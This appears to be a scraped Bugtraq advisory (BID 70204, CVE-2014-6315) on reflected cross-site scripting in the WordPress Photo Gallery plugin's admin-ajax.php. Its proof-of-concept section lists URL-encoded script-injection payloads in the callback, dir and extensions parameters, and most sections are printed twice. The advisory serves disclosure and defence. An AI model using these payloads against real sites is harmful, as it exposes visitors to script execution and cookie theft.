WordPress Photo Gallery Plugin 'admin-ajax.php' Multiple Cross Site Scripting Vulnerabilities
BID:70204
Info
WordPress Photo Gallery Plugin 'admin-ajax.php' Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 70204 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-6315 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 01 2014 12:00AM |
| Updated: | Oct 01 2014 12:00AM |
| Credit: | High-Tech Bridge SA |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
WordPress Photo Gallery Plugin 'admin-ajax.php' Multiple Cross Site Scripting Vulnerabilities
The Photo Gallery plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Photo Gallery 1.1.30 is vulnerable; other versions may also be affected.
The Photo Gallery plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Photo Gallery 1.1.30 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Photo Gallery Plugin 'admin-ajax.php' Multiple Cross Site Scripting Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&exte nsions=jpg&callback=%27%22%3E%3C/script%3E%3Cscript%3Ealert%28/immuniweb/%29;%3C /script%3E
http://www.example.com/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&exte nsions=jpg&dir=%27%22%3E%3C/script%3E%3Cscript%3Ealert%28/immuniweb/%29;%3C/scri pt%3E
http://www.example.com/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&exte nsions=%27%22%3E%3C/script%3E%3Cscript%3Ealert%28/immuniweb/%29;%3C/script%3E
To exploit these issues, an attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&exte nsions=jpg&callback=%27%22%3E%3C/script%3E%3Cscript%3Ealert%28/immuniweb/%29;%3C /script%3E
http://www.example.com/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&exte nsions=jpg&dir=%27%22%3E%3C/script%3E%3Cscript%3Ealert%28/immuniweb/%29;%3C/scri pt%3E
http://www.example.com/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&exte nsions=%27%22%3E%3C/script%3E%3Cscript%3Ealert%28/immuniweb/%29;%3C/script%3E
Solution / Fix
WordPress Photo Gallery Plugin 'admin-ajax.php' Multiple Cross Site Scripting Vulnerabilities
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
WordPress Photo Gallery Plugin 'admin-ajax.php' Multiple Cross Site Scripting Vulnerabilities
References:
References: